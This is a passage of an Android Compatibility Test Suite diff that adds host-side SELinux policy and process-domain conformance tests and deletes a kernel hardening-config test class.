+        assertFileStartsWith(aospSeappFile, devicePlatSeappFile);
+    }
+
+    /**
+     * Tests that the plat_file_contexts file on the device contains
+     * the standard AOSP entries.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testAospFileContexts() throws Exception {
+
+        /* retrieve the checkfc executable from jar */
+        checkFc = copyResourceToTempFile("/checkfc");
+        checkFc.setExecutable(true);
+
+        /* retrieve the AOSP file_contexts file from jar */
+        aospFcFile = copyResourceToTempFile("/plat_file_contexts");
+
+        /* run checkfc -c plat_file_contexts plat_file_contexts */
+        ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
+                "-c", aospFcFile.getAbsolutePath(),
+                devicePlatFcFile.getAbsolutePath());
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line = result.readLine();
+        assertTrue("The file_contexts file did not include the AOSP entries:\n"
+                   + line + "\n",
+                   line.equals("equal") || line.equals("subset"));
+    }
+
+    /**
+     * Tests that the property_contexts file on the device contains
+     * the standard AOSP entries.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testAospPropertyContexts() throws Exception {
+
+        /* obtain property_contexts file from running device */
+        devicePcFile = File.createTempFile("plat_property_contexts", ".tmp");
+        devicePcFile.deleteOnExit();
+        // plat_property_contexts may be either in /system/etc/sepolicy or in /
+        if (!mDevice.pullFile("/system/etc/selinux/plat_property_contexts", devicePcFile)) {
+            mDevice.pullFile("/plat_property_contexts", devicePcFile);
+        }
+
+        // Retrieve the AOSP property_contexts file from JAR.
+        // The location of this file in the JAR has nothing to do with the location of this file on
+        // Android devices. See build script of this CTS module.
+        aospPcFile = copyResourceToTempFile("/plat_property_contexts");
+
+        assertFileStartsWith(aospPcFile, devicePcFile);
+    }
+
+    /**
+     * Tests that the service_contexts file on the device contains
+     * the standard AOSP entries.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testAospServiceContexts() throws Exception {
+
+        /* obtain service_contexts file from running device */
+        deviceSvcFile = File.createTempFile("service_contexts", ".tmp");
+        deviceSvcFile.deleteOnExit();
+        if (!mDevice.pullFile("/system/etc/selinux/plat_service_contexts", deviceSvcFile)) {
+            mDevice.pullFile("/plat_service_contexts", deviceSvcFile);
+        }
+
+        /* retrieve the AOSP service_contexts file from jar */
+        aospSvcFile = copyResourceToTempFile("/plat_service_contexts");
+
+        assertFileStartsWith(aospSvcFile, deviceSvcFile);
+    }
+
+    /**
+     * Tests that the file_contexts file(s) on the device is valid.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testValidFileContexts() throws Exception {
+
+        /* retrieve the checkfc executable from jar */
+        checkFc = copyResourceToTempFile("/checkfc");
+        checkFc.setExecutable(true);
+
+        /* combine plat and nonplat policies for testing */
+        File combinedFcFile = File.createTempFile("combined_file_context", ".tmp");
+        combinedFcFile.deleteOnExit();
+        appendTo(combinedFcFile.getAbsolutePath(), devicePlatFcFile.getAbsolutePath());
+        appendTo(combinedFcFile.getAbsolutePath(), deviceNonplatFcFile.getAbsolutePath());
+
+        /* run checkfc sepolicy file_contexts */
+        ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
+                devicePolicyFile.getAbsolutePath(),
+                combinedFcFile.getAbsolutePath());
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue("file_contexts was invalid:\n"
+                   + errorString, errorString.length() == 0);
+    }
+
+    /**
+     * Tests that the property_contexts file on the device is valid.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testValidPropertyContexts() throws Exception {
+
+        /* retrieve the checkfc executable from jar */
+        File propertyInfoChecker = copyResourceToTempFile("/property_info_checker");
+        propertyInfoChecker.setExecutable(true);
+
+        /* obtain property_contexts file from running device */
+        devicePcFile = File.createTempFile("property_contexts", ".tmp");
+        devicePcFile.deleteOnExit();
+        // plat_property_contexts may be either in /system/etc/sepolicy or in /
+        if (!mDevice.pullFile("/system/etc/selinux/plat_property_contexts", devicePcFile)) {
+            mDevice.pullFile("/plat_property_contexts", devicePcFile);
+        }
+
+        /* run property_info_checker on property_contexts */
+        ProcessBuilder pb = new ProcessBuilder(propertyInfoChecker.getAbsolutePath(),
+                devicePolicyFile.getAbsolutePath(),
+                devicePcFile.getAbsolutePath());
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue("The property_contexts file was invalid:\n"
+                   + errorString, errorString.length() == 0);
+    }
+
+    /**
+     * Tests that the service_contexts file on the device is valid.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testValidServiceContexts() throws Exception {
+
+        /* retrieve the checkfc executable from jar */
+        checkFc = copyResourceToTempFile("/checkfc");
+        checkFc.setExecutable(true);
+
+        /* obtain service_contexts file from running device */
+        deviceSvcFile = File.createTempFile("service_contexts", ".tmp");
+        deviceSvcFile.deleteOnExit();
+        mDevice.pullFile("/service_contexts", deviceSvcFile);
+
+        /* run checkfc -s on service_contexts */
+        ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
+                "-s", devicePolicyFile.getAbsolutePath(),
+                deviceSvcFile.getAbsolutePath());
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue("The service_contexts file was invalid:\n"
+                   + errorString, errorString.length() == 0);
+    }
+
+    public static boolean isMac() {
+        String os = System.getProperty("os.name").toLowerCase();
+        return (os.startsWith("mac") || os.startsWith("darwin"));
+    }
+
+    private void setupLibraries() throws Exception {
+        // The host side binary tests are host OS specific. Use Linux
+        // libraries on Linux and Mac libraries on Mac.
+        if (isMac()) {
+            libsepolwrap = copyResourceToTempFile("/libsepolwrap.dylib");
+            libcpp = copyResourceToTempFile("/libc++.dylib");
+            libcpp.renameTo(new File(System.getProperty("java.io.tmpdir") + "/libc++.dylib"));
+        } else {
+            libsepolwrap = copyResourceToTempFile("/libsepolwrap.so");
+            libcpp = copyResourceToTempFile("/libc++.so");
+            libcpp.renameTo(new File(System.getProperty("java.io.tmpdir") + "/libc++.so"));
+        }
+        libsepolwrap.deleteOnExit();
+        libcpp.deleteOnExit();
+    }
+
+    private void assertSepolicyTests(String test, String testExecutable) throws Exception {
+        setupLibraries();
+        sepolicyTests = copyResourceToTempFile(testExecutable);
+        sepolicyTests.setExecutable(true);
+        ProcessBuilder pb = new ProcessBuilder(
+                sepolicyTests.getAbsolutePath(),
+                "-l", libsepolwrap.getAbsolutePath(),
+                "-f", devicePlatFcFile.getAbsolutePath(),
+                "-f", deviceNonplatFcFile.getAbsolutePath(),
+                "-p", devicePolicyFile.getAbsolutePath(),
+                "--test", test);
+        Map<String, String> env = pb.environment();
+        if (isMac()) {
+            env.put("DYLD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
+        } else {
+            env.put("LD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
+        }
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue(errorString.toString(), errorString.length() == 0);
+    }
+
+    /**
+     * Tests that all types on /data have the data_file_type attribute.
+     *
+     * @throws Exception
+     */
+    public void testDataTypeViolators() throws Exception {
+        assertSepolicyTests("TestDataTypeViolations", "/sepolicy_tests");
+    }
+
+    /**
+     * Tests that all types in /proc have the proc_type attribute.
+     *
+     * @throws Exception
+     */
+    public void testProcTypeViolators() throws Exception {
+        assertSepolicyTests("TestProcTypeViolations", "/sepolicy_tests");
+    }
+
+    /**
+     * Tests that all types in /sys have the sysfs_type attribute.
+     *
+     * @throws Exception
+     */
+    public void testSysfsTypeViolators() throws Exception {
+        assertSepolicyTests("TestSysfsTypeViolations", "/sepolicy_tests");
+    }
+
+    /**
+     * Tests that all types on /vendor have the vendor_file_type attribute.
+     *
+     * @throws Exception
+     */
+    public void testVendorTypeViolators() throws Exception {
+        assertSepolicyTests("TestVendorTypeViolations", "/sepolicy_tests");
+    }
+
+    /**
+     * Tests that all domains with entrypoints on /system have the coredomain
+     * attribute, and that all domains with entrypoints on /vendor do not have the
+     * coredomain attribute.
+     *
+     * @throws Exception
+     */
+    public void testCoredomainViolators() throws Exception {
+        assertSepolicyTests("CoredomainViolations", "/treble_sepolicy_tests");
+    }
+
+   /**
+     * Tests that the policy defines no booleans (runtime conditional policy).
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testNoBooleans() throws Exception {
+
+        /* run sepolicy-analyze booleans check on policy file */
+        ProcessBuilder pb = new ProcessBuilder(sepolicyAnalyze.getAbsolutePath(),
+                devicePolicyFile.getAbsolutePath(), "booleans");
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue("The policy contained booleans:\n"
+                   + errorString, errorString.length() == 0);
+    }
+
+   /**
+     * Tests that taking a bugreport does not produce any dumpstate-related
+     * SELinux denials.
+     *
+     * @throws Exception
+     */
+    public void testNoBugreportDenials() throws Exception {
+        // Take a bugreport and get its logcat output.
+        mDevice.executeAdbCommand("logcat", "-c");
+        mDevice.getBugreport();
+        String log = mDevice.executeAdbCommand("logcat", "-d");
+        // Find all the dumpstate-related types and make a regex that will match them.
+        Set<String> types = sepolicyAnalyzeGetTypesAssociatedWithAttribute("hal_dumpstate_server");
+        types.add("dumpstate");
+        String typeRegex = types.stream().collect(Collectors.joining("|"));
+        Pattern p = Pattern.compile("avc: *denied.*scontext=u:(?:r|object_r):(?:" + typeRegex + "):s0.*");
+        // Fail if logcat contains such a denial.
+        Matcher m = p.matcher(log);
+        StringBuilder errorString = new StringBuilder();
+        while (m.find()) {
+            errorString.append(m.group());
+            errorString.append("\n");
+        }
+        assertTrue("Found illegal SELinux denial(s): " + errorString, errorString.length() == 0);
+    }
+
+    /**
+     * Tests that important domain labels are being appropriately applied.
+     */
+
+    /**
+     * Asserts that no processes are running in a domain.
+     *
+     * @param domain
+     *  The domain or SELinux context to check.
+     */
+    private void assertDomainEmpty(String domain) throws DeviceNotAvailableException {
+        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
+        String msg = "Expected no processes in SELinux domain \"" + domain + "\""
+            + " Found: \"" + procs + "\"";
+        assertNull(msg, procs);
+    }
+
+    /**
+     * Asserts that a domain exists and that only one, well defined, process is
+     * running in that domain.
+     *
+     * @param domain
+     *  The domain or SELinux context to check.
+     * @param executable
+     *  The path of the executable or application package name.
+     */
+    private void assertDomainOne(String domain, String executable) throws DeviceNotAvailableException {
+        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
+        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
+        String msg = "Expected 1 process in SELinux domain \"" + domain + "\""
+            + " Found \"" + procs + "\"";
+        assertNotNull(msg, procs);
+        assertEquals(msg, 1, procs.size());
+
+        msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+            + "Found: \"" + procs + "\"";
+        assertEquals(msg, executable, procs.get(0).procTitle);
+
+        msg = "Expected 1 process with executable \"" + executable + "\""
+            + " Found \"" + procs + "\"";
+        assertNotNull(msg, exeProcs);
+        assertEquals(msg, 1, exeProcs.size());
+
+        msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+            + "Found: \"" + procs + "\"";
+        assertEquals(msg, domain, exeProcs.get(0).label);
+    }
+
+    /**
+     * Asserts that a domain may exist. If a domain exists, the cardinality of
+     * the domain is verified to be 1 and that the correct process is running in
+     * that domain.
+     *
+     * @param domain
+     *  The domain or SELinux context to check.
+     * @param executable
+     *  The path of the executable or application package name.
+     */
+    private void assertDomainZeroOrOne(String domain, String executable)
+        throws DeviceNotAvailableException {
+        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
+        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
+
+        if (procs != null) {
+            String msg = "Expected 1 process in SELinux domain \"" + domain + "\""
+            + " Found: \"" + procs + "\"";
+            assertEquals(msg, 1, procs.size());
+
+            msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+                + "Found: \"" + procs.get(0) + "\"";
+            assertEquals(msg, executable, procs.get(0).procTitle);
+        }
+
+        if (exeProcs != null) {
+            String msg = "Expected 1 process with executable \"" + executable + "\""
+            + " Found: \"" + procs + "\"";
+            assertEquals(msg, 1, exeProcs.size());
+
+            msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+                + "Found: \"" + procs.get(0) + "\"";
+            assertEquals(msg, domain, exeProcs.get(0).label);
+        }
+    }
+
+    /**
+     * Asserts that a domain must exist, and that the cardinality is greater
+     * than or equal to 1.
+     *
+     * @param domain
+     *  The domain or SELinux context to check.
+     * @param executables
+     *  The path of the allowed executables or application package names.
+     */
+    private void assertDomainN(String domain, String... executables)
+        throws DeviceNotAvailableException {
+        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
+        String msg = "Expected 1 or more processes in SELinux domain but found none.";
+        assertNotNull(msg, procs);
+
+        Set<String> execList = new HashSet<String>(Arrays.asList(executables));
+
+        for (ProcessDetails p : procs) {
+            msg = "Expected one of \"" + execList + "\" in SELinux domain \"" + domain + "\""
+                + " Found: \"" + p + "\"";
+            assertTrue(msg, execList.contains(p.procTitle));
+        }
+
+        for (String exe : executables) {
+            List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(exe);
+
+            if (exeProcs != null) {
+                for (ProcessDetails p : exeProcs) {
+                    msg = "Expected executable \"" + exe + "\" in SELinux domain \""
+                        + domain + "\"" + " Found: \"" + p + "\"";
+                    assertEquals(msg, domain, p.label);
+                }
+            }
+        }
+    }
+
+    /**
+     * Asserts that a domain, if it exists, is only running the listed executables.
+     *
+     * @param domain
+     *  The domain or SELinux context to check.
+     * @param executables
+     *  The path of the allowed executables or application package names.
+     */
+    private void assertDomainHasExecutable(String domain, String... executables)
+        throws DeviceNotAvailableException {
+        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
+
+        if (procs != null) {
+            Set<String> execList = new HashSet<String>(Arrays.asList(executables));
+
+            for (ProcessDetails p : procs) {
+                String msg = "Expected one of \"" + execList + "\" in SELinux domain \""
+                    + domain + "\"" + " Found: \"" + p + "\"";
+                assertTrue(msg, execList.contains(p.procTitle));
+            }
+        }
+    }
+
+    /**
+     * Asserts that an executable exists and is only running in the listed domains.
+     *
+     * @param executable
+     *  The path of the executable to check.
+     * @param domains
+     *  The list of allowed domains.
+     */
+    private void assertExecutableHasDomain(String executable, String... domains)
+        throws DeviceNotAvailableException {
+        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
+        Set<String> domainList = new HashSet<String>(Arrays.asList(domains));
+
+        String msg = "Expected 1 or more processes for executable \"" + executable + "\".";
+        assertNotNull(msg, exeProcs);
+
+        for (ProcessDetails p : exeProcs) {
+            msg = "Expected one of  \"" + domainList + "\" for executable \"" + executable
+                    + "\"" + " Found: \"" + p.label + "\"";
+            assertTrue(msg, domainList.contains(p.label));
+        }
+    }
+
+    /* Init is always there */
+    @CddTest(requirement="9.7")
+    public void testInitDomain() throws DeviceNotAvailableException {
+        assertDomainHasExecutable("u:r:init:s0", "/system/bin/init");
+        assertDomainHasExecutable("u:r:vendor_init:s0", "/system/bin/init");
+        assertExecutableHasDomain("/system/bin/init", "u:r:init:s0", "u:r:vendor_init:s0");
+    }
+
+    /* Ueventd is always there */
+    @CddTest(requirement="9.7")
+    public void testUeventdDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:ueventd:s0", "/system/bin/ueventd");
+    }
+
+    /* healthd may or may not exist */
+    @CddTest(requirement="9.7")
+    public void testHealthdDomain() throws DeviceNotAvailableException {
+        assertDomainZeroOrOne("u:r:healthd:s0", "/system/bin/healthd");
+    }
+
+    /* Servicemanager is always there */
+    @CddTest(requirement="9.7")
+    public void testServicemanagerDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:servicemanager:s0", "/system/bin/servicemanager");
+    }
+
+    /* Vold is always there */
+    @CddTest(requirement="9.7")
+    public void testVoldDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:vold:s0", "/system/bin/vold");
+    }
+
+    /* netd is always there */
+    @CddTest(requirement="9.7")
+    public void testNetdDomain() throws DeviceNotAvailableException {
+        assertDomainN("u:r:netd:s0", "/system/bin/netd", "/system/bin/iptables-restore", "/system/bin/ip6tables-restore");
+    }
+
+    /* Surface flinger is always there */
+    @CddTest(requirement="9.7")
+    public void testSurfaceflingerDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:surfaceflinger:s0", "/system/bin/surfaceflinger");
+    }
+
+    /* Zygote is always running */
+    @CddTest(requirement="9.7")
+    public void testZygoteDomain() throws DeviceNotAvailableException {
+        assertDomainN("u:r:zygote:s0", "zygote", "zygote64");
+    }
+
+    /* Checks drmserver for devices that require it */
+    @CddTest(requirement="9.7")
+    public void testDrmServerDomain() throws DeviceNotAvailableException {
+        assertDomainZeroOrOne("u:r:drmserver:s0", "/system/bin/drmserver");
+    }
+
+    /* Installd is always running */
+    @CddTest(requirement="9.7")
+    public void testInstalldDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:installd:s0", "/system/bin/installd");
+    }
+
+    /* keystore is always running */
+    @CddTest(requirement="9.7")
+    public void testKeystoreDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:keystore:s0", "/system/bin/keystore");
+    }
+
+    /* System server better be running :-P */
+    @CddTest(requirement="9.7")
+    public void testSystemServerDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:system_server:s0", "system_server");
+    }
+
+    /* Watchdogd may or may not be there */
+    @CddTest(requirement="9.7")
+    public void testWatchdogdDomain() throws DeviceNotAvailableException {
+        assertDomainZeroOrOne("u:r:watchdogd:s0", "/system/bin/watchdogd");
+    }
+
+    /* logd may or may not be there */
+    @CddTest(requirement="9.7")
+    public void testLogdDomain() throws DeviceNotAvailableException {
+        assertDomainZeroOrOne("u:r:logd:s0", "/system/bin/logd");
+    }
+
+    /* lmkd may or may not be there */
+    @CddTest(requirement="9.7")
+    public void testLmkdDomain() throws DeviceNotAvailableException {
+        assertDomainZeroOrOne("u:r:lmkd:s0", "/system/bin/lmkd");
+    }
+
+    /* Wifi may be off so cardinality of 0 or 1 is ok */
+    @CddTest(requirement="9.7")
+    public void testWpaDomain() throws DeviceNotAvailableException {
+        assertDomainZeroOrOne("u:r:wpa:s0", "/system/bin/wpa_supplicant");
+    }
+
+    /*
+     * Nothing should be running in this domain, cardinality test is all thats
+     * needed
+     */
+    @CddTest(requirement="9.7")
+    public void testInitShellDomain() throws DeviceNotAvailableException {
+        assertDomainEmpty("u:r:init_shell:s0");
+    }
+
+    /*
+     * Nothing should be running in this domain, cardinality test is all thats
+     * needed
+     */
+    @CddTest(requirement="9.7")
+    public void testRecoveryDomain() throws DeviceNotAvailableException {
+        assertDomainEmpty("u:r:recovery:s0");
+    }
+
+    /*
+     * Nothing should be running in this domain, cardinality test is all thats
+     * needed
+     */
+    @CddTest(requirement="9.7")
+    @RestrictedBuildTest
+    public void testSuDomain() throws DeviceNotAvailableException {
+        assertDomainEmpty("u:r:su:s0");
+    }
+
+    /*
+     * All kthreads should be in kernel context.
+     */
+    @CddTest(requirement="9.7")
+    public void testKernelDomain() throws DeviceNotAvailableException {
+        String domain = "u:r:kernel:s0";
+        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
+        if (procs != null) {
+            for (ProcessDetails p : procs) {
+                assertTrue("Non Kernel thread \"" + p + "\" found!", p.isKernel());
+            }
+        }
+    }
+
+    private static class ProcessDetails {
+        public String label;
+        public String user;
+        public int pid;
+        public int ppid;
+        public String procTitle;
+
+        private static HashMap<String, ArrayList<ProcessDetails>> procMap;
+        private static HashMap<String, ArrayList<ProcessDetails>> exeMap;
+        private static int kernelParentThreadpid = -1;
+
+        ProcessDetails(String label, String user, int pid, int ppid, String procTitle) {
+            this.label = label;
+            this.user = user;
+            this.pid = pid;
+            this.ppid = ppid;
+            this.procTitle = procTitle;
+        }
+
+        @Override
+        public String toString() {
+            return "label: " + label
+                    + " user: " + user
+                    + " pid: " + pid
+                    + " ppid: " + ppid
+                    + " cmd: " + procTitle;
+        }
+
+
+        private static void createProcMap(ITestDevice tDevice) throws DeviceNotAvailableException {
+
+            /* take the output of a ps -Z to do our analysis */
+            CollectingOutputReceiver psOut = new CollectingOutputReceiver();
+            // TODO: remove "toybox" below and just run "ps"
+            tDevice.executeShellCommand("toybox ps -A -o label,user,pid,ppid,cmdline", psOut);
+            String psOutString = psOut.getOutput();
+            Pattern p = Pattern.compile(
+                    "^([\\w_:]+)\\s+([\\w_]+)\\s+(\\d+)\\s+(\\d+)\\s+(\\p{Graph}+)(\\s\\p{Graph}+)*\\s*$",
+                    Pattern.MULTILINE);
+            Matcher m = p.matcher(psOutString);
+            procMap = new HashMap<String, ArrayList<ProcessDetails>>();
+            exeMap = new HashMap<String, ArrayList<ProcessDetails>>();
+            while(m.find()) {
+                String domainLabel = m.group(1);
+                String user = m.group(2);
+                int pid = Integer.parseInt(m.group(3));
+                int ppid = Integer.parseInt(m.group(4));
+                String procTitle = m.group(5);
+                ProcessDetails proc = new ProcessDetails(domainLabel, user, pid, ppid, procTitle);
+                if (procMap.get(domainLabel) == null) {
+                    procMap.put(domainLabel, new ArrayList<ProcessDetails>());
+                }
+                procMap.get(domainLabel).add(proc);
+                if (procTitle.equals("[kthreadd]") && ppid == 0) {
+                    kernelParentThreadpid = pid;
+                }
+                if (exeMap.get(procTitle) == null) {
+                    exeMap.put(procTitle, new ArrayList<ProcessDetails>());
+                }
+                exeMap.get(procTitle).add(proc);
+            }
+        }
+
+        public static HashMap<String, ArrayList<ProcessDetails>> getProcMap(ITestDevice tDevice)
+                throws DeviceNotAvailableException{
+            if (procMap == null) {
+                createProcMap(tDevice);
+            }
+            return procMap;
+        }
+
+        public static HashMap<String, ArrayList<ProcessDetails>> getExeMap(ITestDevice tDevice)
+                throws DeviceNotAvailableException{
+            if (exeMap == null) {
+                createProcMap(tDevice);
+            }
+            return exeMap;
+        }
+
+        public boolean isKernel() {
+            return (pid == kernelParentThreadpid || ppid == kernelParentThreadpid);
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
deleted file mode 100644
index 96cd045..0000000
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ /dev/null
@@ -1,200 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.CpuFeatures;
-import com.android.compatibility.common.util.PropertyUtil;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.InputStreamReader;
-import java.lang.String;
-import java.util.stream.Collectors;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.zip.GZIPInputStream;
-
-/**
- * Host-side kernel config tests.
- *
- * These tests analyze /proc/config.gz to verify that certain kernel config options are set.
- */
-public class KernelConfigTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
-
-    private static final Map<ITestDevice, HashSet<String>> cachedConfigGzSet = new HashMap<>(1);
-
-    private HashSet<String> configSet;
-
-    private ITestDevice mDevice;
-    private IBuildInfo mBuild;
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo build) {
-        mBuild = build;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setDevice(ITestDevice device) {
-        super.setDevice(device);
-        mDevice = device;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        configSet = getDeviceConfig(mDevice, cachedConfigGzSet);
-    }
-
-    /*
-     * IMPLEMENTATION DETAILS: Cache the configurations from /proc/config.gz on per-device basis
-     * in case CTS is being run against multiple devices at the same time. This speeds up testing
-     * by avoiding pulling/parsing the config file for each individual test
-     */
-    private static HashSet<String> getDeviceConfig(ITestDevice device,
-            Map<ITestDevice, HashSet<String>> cache) throws Exception {
-        if (!device.doesFileExist("/proc/config.gz")){
-            throw new Exception();
-        }
-        HashSet<String> set;
-        synchronized (cache) {
-            set = cache.get(device);
-        }
-        if (set != null) {
-            return set;
-        }
-        File file = File.createTempFile("config.gz", ".tmp");
-        file.deleteOnExit();
-        device.pullFile("/proc/config.gz", file);
-
-        BufferedReader reader = new BufferedReader(new InputStreamReader(new GZIPInputStream(new FileInputStream(file))));
-        set = new HashSet<String>(reader.lines().collect(Collectors.toList()));
-
-        synchronized (cache) {
-            cache.put(device, set);
-        }
-        return set;
-    }
-
-    /**
-     * Test that the kernel has Stack Protector Strong enabled.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7/C-0-7")
-    public void testConfigStackProtectorStrong() throws Exception {
-        assertTrue("Linux kernel must have Stack Protector enabled: " +
-                "CONFIG_STACKPROTECTOR_STRONG=y or CONFIG_CC_STACKPROTECTOR_STRONG=y",
-                configSet.contains("CONFIG_STACKPROTECTOR_STRONG=y") ||
-                configSet.contains("CONFIG_CC_STACKPROTECTOR_STRONG=y"));
-    }
-
-    /**
-     * Test that the kernel's executable code is read-only, read-only data is non-executable and
-     * non-writable, and writable data is non-executable.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7/C-0-8")
-    public void testConfigROData() throws Exception {
-        if (configSet.contains("CONFIG_UH_RKP=y"))
-            return;
-
-        assertTrue("Linux kernel must have RO data enabled: " +
-                "CONFIG_DEBUG_RODATA=y or CONFIG_STRICT_KERNEL_RWX=y",
-                configSet.contains("CONFIG_DEBUG_RODATA=y") ||
-                configSet.contains("CONFIG_STRICT_KERNEL_RWX=y"));
-
-        if (configSet.contains("CONFIG_MODULES=y")) {
-            assertTrue("Linux kernel modules must also have RO data enabled: " +
-                    "CONFIG_DEBUG_SET_MODULE_RONX=y or CONFIG_STRICT_MODULE_RWX=y",
-                    configSet.contains("CONFIG_DEBUG_SET_MODULE_RONX=y") ||
-                    configSet.contains("CONFIG_STRICT_MODULE_RWX=y"));
-        }
-    }
-
-    /**
-     * Test that the kernel implements static and dynamic object size bounds checking of copies
-     * between user-space and kernel-space.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testConfigHardenedUsercopy() throws Exception {
-        if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
-            return;
-        }
-
-        assertTrue("Linux kernel must have Hardened Usercopy enabled: CONFIG_HARDENED_USERCOPY=y",
-                configSet.contains("CONFIG_HARDENED_USERCOPY=y"));
-    }
-
-    /**
-     * Test that the kernel has PAN emulation enabled from architectures that support it.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testConfigPAN() throws Exception {
-        if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
-            return;
-        }
-
-        if (CpuFeatures.isArm64(mDevice)) {
-            assertTrue("Linux kernel must have PAN emulation enabled: " +
-                    "CONFIG_ARM64_SW_TTBR0_PAN=y or CONFIG_ARM64_PAN=y",
-                    (configSet.contains("CONFIG_ARM64_SW_TTBR0_PAN=y") ||
-                    configSet.contains("CONFIG_ARM64_PAN=y")));
-        } else if (CpuFeatures.isArm32(mDevice)) {
-            assertTrue("Linux kernel must have PAN emulation enabled: CONFIG_CPU_SW_DOMAIN_PAN=y",
-                    configSet.contains("CONFIG_CPU_SW_DOMAIN_PAN=y"));
